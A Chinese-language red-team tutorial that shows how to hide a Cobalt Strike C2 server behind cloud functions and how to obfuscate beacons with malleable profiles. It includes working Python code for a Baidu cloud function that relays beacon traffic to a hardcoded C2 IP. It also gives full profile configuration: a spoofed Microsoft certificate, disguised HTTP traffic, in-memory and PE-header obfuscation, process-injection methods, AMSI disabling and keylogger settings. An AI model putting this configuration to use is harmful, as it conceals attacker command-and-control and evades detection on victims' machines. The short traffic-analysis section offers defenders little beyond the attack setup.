云函数利用&Profile混淆
字数 1216 2025-08-20 18:18:23
云函数利用与Profile混淆技术详解
一、云函数利用技术
1. 云函数概述
云函数(Serverless Cloud Function)是云服务商提供的无服务器执行环境,无需购买和管理服务器即可运行代码。主要服务商包括:
- 阿里云函数计算
- 腾讯云函数
- 华为云函数
- 百度云函数
- 移动云函数
- 天翼云函数
- 字节跳动轻服务
- AWS Lambda
- Google Firebase
- Azure Function
2. 利用场景
- 隐藏上线服务器IP
- 绕过域名白名单限制出网上线
3. 百度智能云函数利用实战
第一步:基础配置
- 注册账号并完成实名认证
- 创建函数,选择"空白函数"
- 函数环境选择Python3
- 配置HTTP触发器:
- 设置URL路径(需注意CS每次请求路径随机,需做好正则匹配)
- 选择HTTP方法并提交
第二步:函数代码配置
# -*- coding: utf-8 -*-
import json,requests,base64
def handler(event, context):
C2='https://110.40.213.80:443' # C2服务器地址,可使用HTTP/HTTPS
path=event['path']
headers=event['headers']
print(event)
if event['httpMethod'] == 'GET':
resp=requests.get(C2+path,headers=headers,verify=False)
else:
resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
print(resp.headers)
print(resp.content)
response={
"isBase64Encoded": True,
"statusCode": resp.status_code,
"headers": dict(resp.headers),
"body": str(base64.b64encode(resp.content))[2:-1]
}
return response
关键点说明
- 触发器域名仅支持HTTPS
- C2监听器配置需与脚本中的协议、端口一致
- 优势:
- 绕过域名白名单限制
- 隐藏C2真实IP
- 中间流量仅显示云函数域名
二、Profile混淆技术
1. Profile概述
Cobalt Strike使用profile配置文件生成Beacon有效负载,通过可延展C2配置文件语言设置值,用于混淆流量和内存。
2. 基础模板
# 全局选项
set sleeptime "10000"; # 睡眠时间(ms)
set jitter "0"; # 睡眠抖动时间(0-99%)
#set host_stage "false"; # 设置所有Payload为Stageless
# SSL证书配置
https-certificate {
set C "US"; # 国家代码
set CN "Microsoft IT TLS CA 2"; # 通用名称
set L "Redmond"; # 城市
set O "Microsoft Corporation"; # 组织
set OU "Microsoft IT"; # 组织单位
set ST "Washington"; # 州/省
set validity "365"; # 有效期
}
# 代码签名
code-signer{
set keystore "cobaltstrike1.store";
set password "password";
set alias "certificate";
}
3. HTTP-GET配置
http-get {
set uri "/login /config /admin /history"; # 自定义请求路径
client {
header "Accept" "*/*";
header "Accept-Language" "en-US";
header "Connection" "close";
metadata {
netbiosu; # netbios(大写)编码
append ".php"; # 追加参数尾缀
parameter "file"; # 新增url参数
}
}
server {
header "Content-Type" "text/plain";
output {
base64; # base64编码
print; # 输出到HTTP Body
}
}
}
4. HTTP-POST配置
http-post {
set uri "/page= /index="; # 不能与GET路径相同
client {
header "Accept" "*/*";
header "Accept-Language" "en";
header "Connection" "close";
id {
netbios;
append ".php";
uri-append; # 追加到url末尾
}
output {
base64;
print;
}
}
server {
output {
base64;
print;
}
}
}
5. 流量侧分析
-
Wireshark抓包:
- DNS流量可见云函数地址
- 可通过请求/返回包大小区分心跳和行为流量
- 传输内容HTTPS加密
-
BurpSuite抓包:
- 可看到profile设置的URL、Header等信息
- 指定Cookie字段存放元数据
- 返回包内容与profile配置一致
6. 主机侧配置
stage标签配置
set userwx "false"; # 内存属性,false为RX
set cleanup "true"; # 抹去内存中的反射DLL
set sleep_mask "true"; # 对数据和代码进行异或加密
set stomppe "true"; # 混淆MZ、PE等关键字
set obfuscate "true"; # 混淆DLL导入表、区段名
set smartinject "true"; # 智能注入,避免异常
// PE头部混淆
set checksum "0";
set compile_time "11 Nov 2014 06:18:30";
set entry_point "650688";
set image_size_x86 "4661248";
set image_size_x64 "4661248";
set name "srv.dll";
set magic_pe "LE";
set rich_header "\\x3e\\x98\\xfe...";
// 替换反射DLL中的固定字符
transform-x86 {
prepend "\\x90\\x90\\x90";
strrep "ReflectiveLoader" "";
strrep "beacon.dll" "";
strrep "This program cannot be run in DOS mode" "";
}
process-inject标签
process-inject {
set allocator "VirtualAllocEx"; # 远程内存分配技术
set min_alloc "7814"; # 最小内存分配值
set userwx "false"; # 内存不应具有RWX权限
set startrwx "false"; # 注入前内存不应RWX
transform-x86 {
prepend "\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"; # NOP指令
}
transform-x64 {
prepend "\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"; # NOP指令
}
execute {
CreateThread "ntdll.dll!RtlUserThreadStart+0x2285";
NtQueueApcThread-s;
SetThreadContext;
CreateRemoteThread;
CreateRemoteThread "kernel32.dll!LoadLibraryA+0x1000";
RtlCreateUserThread;
}
}
post-ex标签
post-ex {
set spawnto_x86 "%windir%\\\\syswow64\\\\svchost.exe"; # 32位payload
set spawnto_x64 "%windir%\\\\sysnative\\\\svchost.exe"; # 64位payload
set obfuscate "true"; # 混淆post-ex DLLs
set pipename "srvsvc-1-5-5-0####"; # 命名管道名称
set smartinject "true"; # 传递关键函数指针
set amsi_disable "true"; # 禁用AMSI
set keylogger "SetWindowsHookEx"; # 键盘记录方法
}
三、参考资源
- 官方profile配置模板:https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2_main.htm#_Toc65482834
- Malleable C2项目:https://github.com/threatexpress/malleable-c2
- 流量profile配置参考:https://wbglil.gitbook.io/cobalt-strike/cobalt-strikekuo-zhan/malleable-c2#http-get
- 后渗透标签参考:https://wbglil.gitbook.io/cobalt-strike/cobalt-strikekuo-zhan/malleable-c2#malleable-pe-process-injection-and-post-exploitationbeacon-hang-wei